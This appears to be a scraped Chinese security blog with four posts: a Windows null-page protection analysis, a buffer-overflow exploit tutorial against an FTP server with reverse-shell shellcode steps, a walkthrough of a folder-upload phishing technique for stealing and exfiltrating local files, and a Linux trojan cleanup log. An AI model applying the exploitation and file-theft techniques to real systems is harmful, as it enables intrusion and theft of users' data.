NtAllocateVirtualMemory ****中对**** NULLPage ****的安全机制,就是检查**** EPROCESS ****中的**** VdmAllowed _*\_ *的标志位。** 确定条件判断确定位置 ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/1b16108368_6941baebjw1ew322d52lej20e601ft8v.jpg) 从判断语句来看V76应该是参数中的基地址,V14应该是EPROCESS的地址。看一下这两个值的来源 ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/1b16108368_6941baebjw1ew322dk5juj20ec0blwg4.jpg) 从上图可知v76就是baseaddress; V14追溯到keGetCurrentThread,在内核模式下FS却指向KPCR(Kernel’s Processor Control Region)结构。即FS段的起点与KPCR结构对齐。看一下KPCR结构偏移124的位置 ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/fb902a57e1_6941baebjw1ew322e4wpmj20b80go41h.jpg) 图中可知偏移124的位置刚好的当前线程的结构地址。通过查看函数KeGetCurrentThread的实现也能证实这一点,如下图: ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/fb902a57e1_6941baebjw1ew322eg48fj20dp01kq33.jpg) 线程结构地址+128(0×80)的位置刚好是当前进程的内核地址,如下图所示: ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/fb902a57e1_6941baebjw1ew322eqttij20b8034jrs.jpg) 之后NtAllocateVirtualMemory函数在将进程结构地址偏移0xC4值与0×1000000做比较判断做安全检查。 到目前为止,NtAllocateVirtualMemory函数对零页内存的保护机制剖析完成。总结一下: 1. **判断基地址是否小于**** 0×1000000,** 2. **判断内核结构**** EPROCESS ****的**** Vdmallowed ****标志是否为**** 0** **5.3.4 查找内核中其他对零页内存保护的函数** 通过对NtAllocateVirtualMemory逆向分析和动态跟踪了解了win8中对零页内存的保护机制;那么除了NtAllocateVirtualMemory函数,在内核中是否还有其他的函数也对零页内存进行了安全检查呢? 通过在整个NT内核文件中查找零页内存保护机制,又发现了几个包含零页内存包含的函数,搜索结果如下图: ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/b6c9490ac2_6941baebjw1ew322f1l6mj20eg06kta2.jpg) ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/b6c9490ac2_6941baebjw1ew322fsoq3j20gc0300tb.jpg) ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/b6c9490ac2_6941baebjw1ew322g2iczj20e5042gmi.jpg) ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/b6c9490ac2_6941baebjw1ew322gbq8bj20e707mta7.jpg) 也就是说在内核文件中除了NTAllocateVirtualMemory外,还有四个函数对零页内存做检测: 1. MiIsVaRangeAvailable: 2. MiMapViewOfPhySicalSection 3. MiMapLockedPagesInUserSpace 4. MiCreatePebOrTeb 这四个函数不都是导出函数,也就是说在内核编程中有可能我们使用的一些导出函数中内部调用了这四个函数中的某一个,其内部已经做了零页内存检测。 ## 6 总结 本文先是介绍了什么是空指针漏洞,之后对windows系统的零页内存保护机制做了剖析。 空指针漏洞: ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/ad3b03ebee_6941baebjw1ew32242z9aj20en09fq3r.jpg) **对零页内存的安全防护:** 1. **检测分配页是否在零页内存。** 2. **检测**** EPROCESS ****结构中的**** VdmAllowed _*\_ *标志。** **Win8**** 以后的零页内存防护也只是保证了不会在零页内存分配空间,缓解分配零页内存空间来利用漏洞;从上图可知,利用零页内存分配导致的空指针漏洞也只是众多空指针漏洞类型中的一种。通过零页内存保护机制并不能缓解所有的空指针漏洞。** ### 相关文章 * [空指针漏洞防护技术(初级篇)](http://blog.jobbole.com/90941/) * [我是如何在腾达路由器固件程序上发现漏洞的](http://blog.jobbole.com/52181/) * [几种极其隐蔽的XSS注入的防护](http://blog.jobbole.com/26064/) * [浅谈CSRF攻击方式](http://blog.jobbole.com/23911/) * [我如何发现Facebook服务器中的远程代码执行漏洞:OpenID中的XML外部实体扩展漏洞](http://blog.jobbole.com/58179/) * [一个缓冲区溢出漏洞的简易教程](http://blog.jobbole.com/90589/) * [内存寻址原理](http://blog.jobbole.com/90947/) * [我是如何绕过Google和Facebook等大站的两步验证的](http://blog.jobbole.com/74590/) * [iOS又曝安全漏洞 可监视用户的触摸点击行为](http://blog.jobbole.com/61207/) * [Google调整漏洞奖励计划,单个漏洞最高奖励7,500美元](http://blog.jobbole.com/29366/) [空指针漏洞防护技术(提高篇)](http://blog.jobbole.com/90942/),首发于[博客 – 伯乐在线](http://blog.jobbole.com)。 --- ## 一个缓冲区溢出漏洞的简易教程 Date: 2015-09-08 URL: https://blog.wo.ai/archives/1036 Categories: Uncategorized 这篇文章类似于“傻瓜系列之利用缓冲区溢出”。在这类漏洞中,我们的做法是利用网络,程序控制器,输入等等,发送超大的数据缓冲区给程序,覆盖程序内存的重要部分。在这些缓冲区覆盖程序内存之后,我们可以重定向程序的执行流并运行注入代码。 首先,我们需要做的是查明程序的哪一部分可以用来重写内存。处理这个任务的过程叫作“fuzzing”。我们可以为Metasploit框架中的各种协议找到若干个fuzzer(执行fuzzing任务的工具)。 接下来这个例子中,我们用metasploit对一个ftp服务器进行fuzz: ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/666a7f5b98_6941baebjw1evu3i4joh2j20k10bmjtk.jpg) Fuzzer运行几分钟后,程序就崩溃了,见下图: ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/84d3cbdbb8_6941baebjw1evu3i6l6irj20av02pq33.jpg) 在Metasploit窗口中,我们可以看到崩溃缓冲区的长度: ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/73208e5b30_6941baebjw1evu3i6tjdjj20j6057aaw.jpg) 在分析所有输出内容之后,我们可以得出:在ftp服务器通过用户命令发送了一个大于250的缓冲区后,程序崩溃了。 我们可以使用python来重现崩溃: ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/885cbd502c_6941baebjw1evu3i7anqrj20hx07qwfe.jpg) 现在,我们重新实施这次攻击,但是首先要将FTP SERVER进程附加到一个调试器上,在这里我们用的调试器是OLLYDBG。 ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/3278ffc48d_6941baebjw1evu3i7bc5jj20cv03fmxg.jpg) 在实施攻击之后,我们可以很直观地看到ESP,EDI和EIP寄存器被覆盖。 ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/5e76745cd5_6941baebjw1evu3i7jzw8j20ip08xgn3.jpg) 稍微研究一下,大家可以发现:EIP控制程序的执行流,如果可以重写EIP,那么就可以手动重定向程序的执行流。EIP指向下一个待执行地址。 在这里,我们需要知道要重写的EIP缓冲区长度。我们可以在metasplpit中用pattern_create创建一种模式,并且作为一个缓冲区使用,来获取重写EIP的4个字节的位置。 ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/5e76745cd5_6941baebjw1evu3i86fv0j20jw04jmzd.jpg) 把这些命令添加到我们的利用代码中,并再次运行: ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/8629f3d3fc_6941baebjw1evu3i8c4h3j20nc08wq4h.jpg) 现在,我们可以看到程序内存中的模式。 ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/3f41808a0c_6941baebjw1evu3i8nf4cj20k208pwfw.jpg) 现在需要使用pattern_offset(偏移量模式)来找到那4个字节的准确位置(只要把4个字节作为一个脚本参数粘贴到EIP里面)。 ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/38bdb96135_6941baebjw1evu3i8zlanj20kb01lq3g.jpg) 由于在EIP之后ESP就被重写,我们可以写出这样一段利用代码如下: ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/38bdb96135_6941baebjw1evu3i94s4gj20h908h75c.jpg) 并且,如果重新加载,在OLLY里面,可以看到它运行得很好。 ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/ef7df4b533_6941baebjw1evu3i961tfj207z057mxq.jpg) 在EIP之后,是这样改写ESP的: ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/ef7df4b533_6941baebjw1evu3i9kgk7j207i092q4k.jpg) 那么在EIP里面我们需要做什么呢?将我们的恶意代码放到重写EIP的代码后面,然后需要做的只是简单的JMP ESP。 记住,EIP将包含下一条待执行指令的地址,所以此时需要做的是找到包含JMP ESP的地址。我们可以在OLLY(在E标签页)中进行查找。 ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/b12d51d0a7_6941baebjw1evu3ia6o8xj20jk02mmye.jpg) 一个简单的命令检索将会返回给我们一个地址。 ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/b12d51d0a7_6941baebjw1evu3ia4e12j20i204gjsc.jpg) 现在,我们拷贝这个地址: ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/0c9e2092d3_6941baebjw1evu3iaak0vj20dn058jsz.jpg) 最后,我们需要做的是,在实行攻击之后,加入并执行我们的shell代码。我们可以用metasploit生成这些shellcode。 ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/0c9e2092d3_6941baebjw1evu3ibb22uj20qm08tdhk.jpg) 现在我们的利用代码如下。注意一下案例中CPU的ENDIAN,在EIP寄存器中我们会用到小端格式。 ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/0c9e2092d3_6941baebjw1evu3ib0k5gj20hs0in7d6.jpg) 现在,如果我们再次实行攻击,将会运行我们的shellcode。 ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/3c1e5e6ba4_6941baebjw1evu3i4tzxnj20c703bt91.jpg) 好的,现在我们可以生成另外的shellcode来执行不同的任务。 我们可以生成一段反向连接的shell代码,来访问我们的受害主机。 把这行代码我们的利用代码中, ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/2ef637b855_6941baebjw1evu3ibwftxj20i40e6n66.jpg) 最后运行利用代码: ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/2ef637b855_6941baebjw1evu3ic5j8bj20je037wez.jpg) [我们的利用代码编写完成](https://www.youtube.com/watch?v=Wnn47V09Q2M)。 提示:注意一些特殊字符。如果在缓冲区中间,利用代码被截断,可能是由于一些特殊字符导致的。特殊字符诸如“xa0″、 “|x00″等,会截断shellcode,你必须通过测试找到这些字符,并且在shellcode中避免用到,可别说我没提醒过你! ### 相关文章 * [几种极其隐蔽的XSS注入的防护](http://blog.jobbole.com/26064/) * [我是如何在腾达路由器固件程序上发现漏洞的](http://blog.jobbole.com/52181/) * [浅谈CSRF攻击方式](http://blog.jobbole.com/23911/) * [我是如何绕过Google和Facebook等大站的两步验证的](http://blog.jobbole.com/74590/) * [我如何发现Facebook服务器中的远程代码执行漏洞:OpenID中的XML外部实体扩展漏洞](http://blog.jobbole.com/58179/) * [iOS又曝安全漏洞 可监视用户的触摸点击行为](http://blog.jobbole.com/61207/) * [OpenSSL 开发者否认蓄意植入 Heartbleed 漏洞](http://blog.jobbole.com/64878/) * [Google调整漏洞奖励计划,单个漏洞最高奖励7,500美元](http://blog.jobbole.com/29366/) * [我是如何在谷歌财经发现一个XSS漏洞,并且拿到了5千美元奖励](http://blog.jobbole.com/44953/) * [LulzSec如何黑掉《太阳报》网站的?](http://blog.jobbole.com/1119/) [一个缓冲区溢出漏洞的简易教程](http://blog.jobbole.com/90589/),首发于[博客 – 伯乐在线](http://blog.jobbole.com)。 --- ## 危险的文件夹上传框 Date: 2015-08-27 URL: https://blog.wo.ai/archives/1032 Categories: Uncategorized 分享一篇老文章。前些年在 ASRC 上的看了一篇文章[「Html5新功能上的ui-redressing」](https://security.alibaba.com/blog/blog.htm?spm=0.0.0.0.IYip0H&id=3)后,写的一些改进方案。 ## 文件对话框 文件上传对话框是一直以来就存在的网页控件。 到了 HTML5 时代,增加了更多的功能,例如支持文件多选。Chrome 甚至还支持「上传文件夹」这一私有特征: 在给用户方便的同时,其安全隐患也逐渐出现。用户平时在下载时,理所当然的弹出的是保存对话框,因此常常不仔细看就做出了选择。 这极有可能被攻击者所利用。一些恶意网站在用户点击下载时,故意弹出一个上传对话框。只要用户一疏忽,就把选中的文件夹给上传了! **下载对话框** ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/9e38b0544a_b254dc71jw1evgzrdrkqsj20ki0fn75p.jpg) **上传对话框** ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/c006f4c08e_b254dc71jw1evgzregccjj20nx0e6di1.jpg) 当然,仅仅依靠默认的上传,这种攻击方式仍有较大难度。因为整个文件夹可能非常大,上传需要很久的时间。 如果用户等了半天也没看见下载进度,或许就会刷新重试,甚至放弃了。 ## 选择即授权 然而,HTML5 带来了一个新的规范 —— File API,允许脚本访问文件。 但由于沙箱限制,脚本无法访问任何一个本地文件,除非用户主动授权。如何授权?最常见的,就是「上传对话框」了。 事实上,如今的上传对话框,早已不是从前「选择哪个文件」的功能,而是「允许脚本访问哪个文件」的权限申请!只不过界面上没有提示罢了。 例如,一个传统的文件上传控件。当用户选中文件后,即可通过 File API 读取文件内容: 或许你已注意到,File 位于`files[]`而不是`file`,这正是给文件夹预留的! 在 Chrome 里,上传控件只要加上 `webkitdirectory` 属性,就变成文件夹选择框。这时一旦用户选中某个文件夹,瞬间就赐予脚本访问整个文件夹的权限! ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/4f1748a157_b254dc71jw1evgzrf7ankj20l20gwgpj.jpg) [演示](http://www.etherdream.com/funnyscript/dialog_phishing/demo1.html) 于是,用户本想将文件保存在桌面上,结果却将桌面上的所有资料,被攻击者的脚本拿到! ## 优化上传 一旦脚本可主动访问,我们可以用更灵活的方式处理这些文件,无需再用传统落后的方式上传。我们可以直接在前端分析出「有价值」的文件,例如: * 备注文件、脚本、批处理、电子表格等,很可能存有一些敏感信息,而且体积小价值大,优先将其上传; * 图片则可通过 canvas 缩放,先传较小的缩略图。当接收端发现有意义时,再传输原文件。 * 对于一些体积较大但意义不大的文件,则可以直接忽略。 由于 HTTP 上传是没有压缩的,因此在传输文本文件时效率很低。我们可以借助 Flash 内置的`LZMA`压缩算法,极大提升传输效率。如果不支持 Flash,也可以使用`asm.js`版的 LZMA 压缩器,配合`Worker`线程在后台压缩和传输。 同时,将多个小文件合并后再压缩,可进一步提高压缩率。再多开几个连接,上传速度即可大幅提升。 ## 续点上传 不过即使再优化,仍有传不完的可能。因此,我们得将没传完的内容储存起来,当用户再次回来时,继续传输。 得益于 HTML5 的 Storage API,这不难实现。 事实上,当用户授权了某个文件夹时,我们首先要做的**不是发送,而是读出文件夹内容,立即备份到 Storage 里** 。毕竟,文件的读取需要用户主动配合,是非常珍贵的;而访问 Storage 则无需任何条件。 ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/4f1748a157_b254dc71jw1evgzrgin07j20fg052wet.jpg) 当备份完成后,再从 Storage 里读取、发送、删除。这样,即使中途页面刷新或关闭了,下次回来时,仍能从 Storage 中继续。 考虑到每个域的 Storage 容量有限,我们可以使用`iframe`嵌入多个不同域的页面,然后通过`postMessage`进行数据的分发和汇总,这样就不受容量限制了。 ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/98bf74f031_b254dc71jw1evgzrh4x3sj20b005f74h.jpg) > 当然,能不能无限容量还得看浏览器策略,不然硬盘会被撑满 将数据存放在 Storage 里还有另一个好处,即使用户永不回来,但数据仍持久保存着。只要以后一旦进入其他的站点,只要是我们可控的,仍有机会继续上传。(例如将用户引到我们布置了 XSS 的站点上) ## 延长上传 在之前[《延长 XSS 生命期》](http://www.cnblogs.com/index-html/p/xss_long_live.html) 中介绍过,可以使用各种黑魔法来提升脚本有效期。 利用这个原理,即使当前页面关闭,其他关联的页面也能继续上传。事实上,除了文中提到的方法,如今还有一个新的 API —— [SharedWorker](https://developer.mozilla.org/zh-CN/docs/Web/API/SharedWorker),它可以让 Worker 共享于多个页面,只要有一个存在,线程就不会停止。可以让续点时丢失的数据更少。 ## 视觉欺骗 由于上传控件有着独特的界面,如何才能让用户主动去点呢?万能的方法是点击劫持(Clickjacking)。 不过本场景无需这么麻烦,只需简单的调用控件的`click`方法就可以了。 高速下载 [演示](http://www.etherdream.com/funnyscript/dialog_phishing/demo2.html) 我们将屏蔽超链接的默认行为,将其传递给上传控件,即可召唤出「文件夹授权」对话框了! 同时,为了不让眼亮的人发现对话框上的破绽,我们使用一些第三方的下载方式,例如电驴、迅雷等等,让人们误以为就是这样的。 ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/98bf74f031_b254dc71jw1evgzrft7pcj20gj0aoaao.jpg) 当然,这只是一个小例子。只要页面做的真实,下载内容引人入胜,用户自然就会中招。 ## 后记 本以为 `webkitdirectory` 的这个私有属性很快就会放弃,至少是更强的安全提示。不过至少现在也没更新,因此上网时还是要多加留心,看清楚了再做决定。 当然,这篇只是最早的「交互欺骗」探索。事实上,深入挖掘会发现可利用点远不仅此。 如今的浏览器在视觉、音频上的体验已经非常完善,攻击者甚至可以在网页里,高度模拟一个本地应用的交互效果。让用户误以为是浏览器之外的程序弹出的界面,从而进行钓鱼。 [危险的文件夹上传框](http://blog.jobbole.com/90059/),首发于[博客 – 伯乐在线](http://blog.jobbole.com)。 --- ## 记一次Linux服务器上查杀木马经历 Date: 2015-08-27 URL: https://blog.wo.ai/archives/1033 Categories: Uncategorized **开篇前言** Linux服务器一直给我们的印象是安全、稳定、可靠,性能卓越。由于一来Linux本身的安全机制,Linux上的病毒、木马较少,二则由于宣称Linux是最安全的操作系统,导致很多人对Linux的安全性有个误解:以为它永远不会感染病毒、木马;以为它没有安全漏洞。所以很多Linux服务器都是裸奔的。其实在这次事件之前,我对Linux的安全性方面的认识、重视程度也是有所不足的。系统的安全性是相对而言的,没有绝对的安全,风险无处不在。 **案例描述** 我们在云端(中信国际电讯CPC)的一台Linux 应用服务器时不时出现网络中断情况,最开始反馈到系统管理员和网络管理员哪里,以为是网络方面的问题。在监控系统后,发现在一些时间段出现高流量的情况,分析发现这台Linux服务器只安装了Tomcat应用程序,没有任何其它应用程序。产生如此大的流量很不正常,而且出现网络中断的时刻,就是系统产生高流量的时刻。当然这些都是我后来才了解到的一些情况,我没有这台服务器的权限,系统管理员找我看看能分析出啥问题,所以将root账号权限给了我。 **案例分析** 我连接到服务器后,运行ifconfig命令,检查网卡的发送、接收数据情况,如下所示,网卡eth0累计发送了12.3TB的数据。这明显不太正常,显然有应用程序一直在往外发包。我特意对比了另外一台正常的服务器后,验证了这个事实。 ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/8c257b3593_aa213e02gw1evhfhgrp1gj20hy06udg0.jpg) 那么是那个应用程序在一直往外发送包呢? 我首先检查了Linux系统日志,发现了一些错误、告警信息。但是作用不大。于是在服务器上安装了NetHogs应用程序,实时监控Linux进程的网络带宽占用情况。 ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/d530652b76_aa213e02gw1evhfhevhlnj20j606l3yn.jpg) 监控过程确实发现了一些异常情况的进程: 1:/home/WDPM/Development/WebServer/apache-tomcat-7.0.61/cmys 一直在往外发包 2:/usr/bin/bsd-port/agent 一直在往外发包。 3:./cmys一直在往外发包 4:不时出现下面大量异常进程 ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/d46f35a5c0_aa213e02gw1evhfhca61wj20iy0guab0.jpg) [root@LNX17 /]# ps -ef | grep getty root 2012 1 0 May22 tty2 00:00:00 /sbin/mingetty /dev/tty2 root 2014 1 0 May22 tty3 00:00:00 /sbin/mingetty /dev/tty3 root 2018 1 0 May22 tty4 00:00:00 /sbin/mingetty /dev/tty4 root 2020 1 0 May22 tty5 00:00:00 /sbin/mingetty /dev/tty5 root 2022 1 0 May22 tty6 00:00:00 /sbin/mingetty /dev/tty6 root 13835 32735 0 01:02 pts/0 00:00:00 grep getty [root@LNX17 tmp]# ll /usr/bin/bsd-port/ total 2324 -rwxr-xr-x. 1 root root 1135000 Jul 17 08:28 agent -rwxr-xr-x. 1 root root 4 Jul 17 08:28 agent.conf -rw-r--r--. 1 root root 27 Jul 21 12:42 cmd.n -rw-r--r--. 1 root root 73 Aug 21 21:30 conf.n -rwxr-xr-x. 1 root root 1223123 Aug 21 04:08 getty -rwxr-xr-x. 1 root root 5 Aug 21 04:08 getty.lock 搜索/usr/bin/bsd-port/agent等进程相关资料,发现很多关于木马、后门方面的文章,严重怀疑服务器被挂马了。手工杀进程或手工删除/home/WDPM/Development/WebServer/apache-tomcat-7.0.61/cmys文件,发现不过一会儿,又会出现相同的进程和文件。于是下载安装了AVG ANTIVIRUS FREE – FOR LINUX这款杀毒软件,但是启动服务失败,不想折腾,于是安装了ClamAV 杀毒软件 ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/c76fd673d1_aa213e02gw1evhfhati5nj20i304qgll.jpg) **ClamAV介绍** ClamAV是一个在命令行下查毒软件,因为它不将杀毒作为主要功能,默认只能查出您计算机内的病毒,但是无法清除,至多删除文件。ClamAV可以工作很多的平台上,但是有少数无法支持,这就要取决您所使用的平台的流行程度了。另外它主要是来防护一些WINDOWS病毒和木马程序。另外,这是一个面向服务端的软件。 **下载ClamAV安装包** ClamAV的官方下载地址为http://www.clamav.net/download.html 我直接使用wget下载源码安装文件。 [root@LNX17 tmp]# wget http://nchc.dl.sourceforge.net/project/clamav/clamav/0.97.6/clamav-0.97.6.tar.gz --2015-08-21 21:58:36-- http://nchc.dl.sourceforge.net/project/clamav/clamav/0.97.6/clamav-0.97.6.tar.gz Resolving nchc.dl.sourceforge.net... 211.79.60.17, 2001:e10:ffff:1f02::17 Connecting to nchc.dl.sourceforge.net|211.79.60.17|:80... connected. HTTP request sent, awaiting response... 200 OK Length: 14765896 (14M) [application/x-gzip] Saving to: “clamav-0.97.6.tar.gz” 100%[==============================================================>] 14,765,896 652K/s in 71s 2015-08-21 21:59:48 (204 KB/s) - “clamav-0.97.6.tar.gz” saved [14765896/14765896] [root@LNX17 tmp]# wget http://nchc.dl.sourceforge.net/project/libpng/zlib/1.2.7/zlib-1.2.7.tar.gz --2015-08-21 22:00:24-- http://nchc.dl.sourceforge.net/project/libpng/zlib/1.2.7/zlib-1.2.7.tar.gz Resolving nchc.dl.sourceforge.net... 211.79.60.17, 2001:e10:ffff:1f02::17 Connecting to nchc.dl.sourceforge.net|211.79.60.17|:80... connected. HTTP request sent, awaiting response... 200 OK Length: 560351 (547K) [application/x-gzip] Saving to: “zlib-1.2.7.tar.gz” 100%[=============================================================>] 560,351 287K/s in 1.9s 2015-08-21 22:00:26 (287 KB/s) - “zlib-1.2.7.tar.gz” saved [560351/560351] **1、zlib-1.2.7.tar.gz安装** [root@LNX17 tmp]# tar xvzf zlib-1.2.7.tar.gz [root@LNX17 tmp]# cd zlib-1.2.7 [root@LNX17 zlib-1.2.7]# ./configure Checking for gcc... Checking for shared library support... Building shared library libz.so.1.2.7 with gcc. Checking for off64_t... Yes. Checking for fseeko... Yes. Checking for strerror... Yes. Checking for unistd.h... Yes. Checking for stdarg.h... Yes. Checking whether to use vs[n]printf() or s[n]printf()... using vs[n]printf(). Checking for vsnprintf() in stdio.h... Yes. Checking for return value of vsnprintf()... Yes. Checking for attribute(visibility) support... Yes. Looking for a four-byte integer type... Found. [root@LNX17 zlib-1.2.7]# make && make install gcc -O3 -D_LARGEFILE64_SOURCE=1 -DHAVE_HIDDEN -I. -c -o example.o test/example.c gcc -O3 -D_LARGEFILE64_SOURCE=1 -DHAVE_HIDDEN -c -o adler32.o adler32.c gcc -O3 -D_LARGEFILE64_SOURCE=1 -DHAVE_HIDDEN -c -o crc32.o crc32.c gcc -O3 -D_LARGEFILE64_SOURCE=1 -DHAVE_HIDDEN -c -o deflate.o deflate.c gcc -O3 -D_LARGEFILE64_SOURCE=1 -DHAVE_HIDDEN -c -o infback.o infback.c gcc -O3 -D_LARGEFILE64_SOURCE=1 -DHAVE_HIDDEN -c -o inffast.o inffast.c gcc -O3 -D_LARGEFILE64_SOURCE=1 -DHAVE_HIDDEN -c -o inflate.o inflate.c gcc -O3 -D_LARGEFILE64_SOURCE=1 -DHAVE_HIDDEN -c -o inftrees.o inftrees.c gcc -O3 -D_LARGEFILE64_SOURCE=1 -DHAVE_HIDDEN -c -o trees.o trees.c gcc -O3 -D_LARGEFILE64_SOURCE=1 -DHAVE_HIDDEN -c -o zutil.o zutil.c gcc -O3 -D_LARGEFILE64_SOURCE=1 -DHAVE_HIDDEN -c -o compress.o compress.c gcc -O3 -D_LARGEFILE64_SOURCE=1 -DHAVE_HIDDEN -c -o uncompr.o uncompr.c gcc -O3 -D_LARGEFILE64_SOURCE=1 -DHAVE_HIDDEN -c -o gzclose.o gzclose.c gcc -O3 -D_LARGEFILE64_SOURCE=1 -DHAVE_HIDDEN -c -o gzlib.o gzlib.c gcc -O3 -D_LARGEFILE64_SOURCE=1 -DHAVE_HIDDEN -c -o gzread.o gzread.c gcc -O3 -D_LARGEFILE64_SOURCE=1 -DHAVE_HIDDEN -c -o gzwrite.o gzwrite.c ar rc libz.a adler32.o crc32.o deflate.o infback.o inffast.o inflate.o inftrees.o trees.o zutil.o compress.o uncompr.o gzclose.o gzlib.o gzread.o gzwrite.o gcc -O3 -D_LARGEFILE64_SOURCE=1 -DHAVE_HIDDEN -o example example.o -L. libz.a gcc -O3 -D_LARGEFILE64_SOURCE=1 -DHAVE_HIDDEN -I. -c -o minigzip.o test/minigzip.c gcc -O3 -D_LARGEFILE64_SOURCE=1 -DHAVE_HIDDEN -o minigzip minigzip.o -L. libz.a gcc -O3 -fPIC -D_LARGEFILE64_SOURCE=1 -DHAVE_HIDDEN -DPIC -c -o objs/adler32.o adler32.c gcc -O3 -fPIC -D_LARGEFILE64_SOURCE=1 -DHAVE_HIDDEN -DPIC -c -o objs/crc32.o crc32.c gcc -O3 -fPIC -D_LARGEFILE64_SOURCE=1 -DHAVE_HIDDEN -DPIC -c -o objs/deflate.o deflate.c gcc -O3 -fPIC -D_LARGEFILE64_SOURCE=1 -DHAVE_HIDDEN -DPIC -c -o objs/infback.o infback.c gcc -O3 -fPIC -D_LARGEFILE64_SOURCE=1 -DHAVE_HIDDEN -DPIC -c -o objs/inffast.o inffast.c gcc -O3 -fPIC -D_LARGEFILE64_SOURCE=1 -DHAVE_HIDDEN -DPIC -c -o objs/inflate.o inflate.c gcc -O3 -fPIC -D_LARGEFILE64_SOURCE=1 -DHAVE_HIDDEN -DPIC -c -o objs/inftrees.o inftrees.c gcc -O3 -fPIC -D_LARGEFILE64_SOURCE=1 -DHAVE_HIDDEN -DPIC -c -o objs/trees.o trees.c gcc -O3 -fPIC -D_LARGEFILE64_SOURCE=1 -DHAVE_HIDDEN -DPIC -c -o objs/zutil.o zutil.c gcc -O3 -fPIC -D_LARGEFILE64_SOURCE=1 -DHAVE_HIDDEN -DPIC -c -o objs/compress.o compress.c gcc -O3 -fPIC -D_LARGEFILE64_SOURCE=1 -DHAVE_HIDDEN -DPIC -c -o objs/uncompr.o uncompr.c gcc -O3 -fPIC -D_LARGEFILE64_SOURCE=1 -DHAVE_HIDDEN -DPIC -c -o objs/gzclose.o gzclose.c gcc -O3 -fPIC -D_LARGEFILE64_SOURCE=1 -DHAVE_HIDDEN -DPIC -c -o objs/gzlib.o gzlib.c gcc -O3 -fPIC -D_LARGEFILE64_SOURCE=1 -DHAVE_HIDDEN -DPIC -c -o objs/gzread.o gzread.c gcc -O3 -fPIC -D_LARGEFILE64_SOURCE=1 -DHAVE_HIDDEN -DPIC -c -o objs/gzwrite.o gzwrite.c gcc -shared -Wl,-soname,libz.so.1,--version-script,zlib.map -O3 -fPIC -D_LARGEFILE64_SOURCE=1 -DHAVE_HIDDEN -o libz.so.1.2.7 adler32.lo crc32.lo deflate.lo infback.lo inffast.lo inflate.lo inftrees.lo trees.lo zutil.lo compress.lo uncompr.lo gzclose.lo gzlib.lo gzread.lo gzwrite.lo -lc rm -f libz.so libz.so.1 ln -s libz.so.1.2.7 libz.so ln -s libz.so.1.2.7 libz.so.1 gcc -O3 -D_LARGEFILE64_SOURCE=1 -DHAVE_HIDDEN -o examplesh example.o -L. libz.so.1.2.7 gcc -O3 -D_LARGEFILE64_SOURCE=1 -DHAVE_HIDDEN -o minigzipsh minigzip.o -L. libz.so.1.2.7 gcc -O3 -D_LARGEFILE64_SOURCE=1 -DHAVE_HIDDEN -I. -D_FILE_OFFSET_BITS=64 -c -o example64.o test/example.c gcc -O3 -D_LARGEFILE64_SOURCE=1 -DHAVE_HIDDEN -o example64 example64.o -L. libz.a gcc -O3 -D_LARGEFILE64_SOURCE=1 -DHAVE_HIDDEN -I. -D_FILE_OFFSET_BITS=64 -c -o minigzip64.o test/minigzip.c gcc -O3 -D_LARGEFILE64_SOURCE=1 -DHAVE_HIDDEN -o minigzip64 minigzip64.o -L. libz.a cp libz.a /usr/local/lib chmod 644 /usr/local/lib/libz.a cp libz.so.1.2.7 /usr/local/lib chmod 755 /usr/local/lib/libz.so.1.2.7 cp zlib.3 /usr/local/share/man/man3 chmod 644 /usr/local/share/man/man3/zlib.3 cp zlib.pc /usr/local/lib/pkgconfig chmod 644 /usr/local/lib/pkgconfig/zlib.pc cp zlib.h zconf.h /usr/local/include chmod 644 /usr/local/include/zlib.h /usr/local/include/zconf.h **2:添加用户组clamav和组成员clamav** [root@LNX17 zlib-1.2.7]# groupadd clamav [root@LNX17 zlib-1.2.7]# useradd -g clamav -s /bin/false -c "Clam AntiVirus" clamav [root@LNX17 zlib-1.2.7]# **3:安装Clamav-0.97.6** [root@LNX17 tmp]# tar xvzf clamav-0.97.6.tar.gz [root@LNX17 tmp]# cd clamav-0.97.6 [root@LNX17 clamav-0.97.6]# ./configure --prefix=/opt/clamav --disable-clamav [root@LNX17 clamav-0.97.6]# make [root@LNX17 clamav-0.97.6]# make install 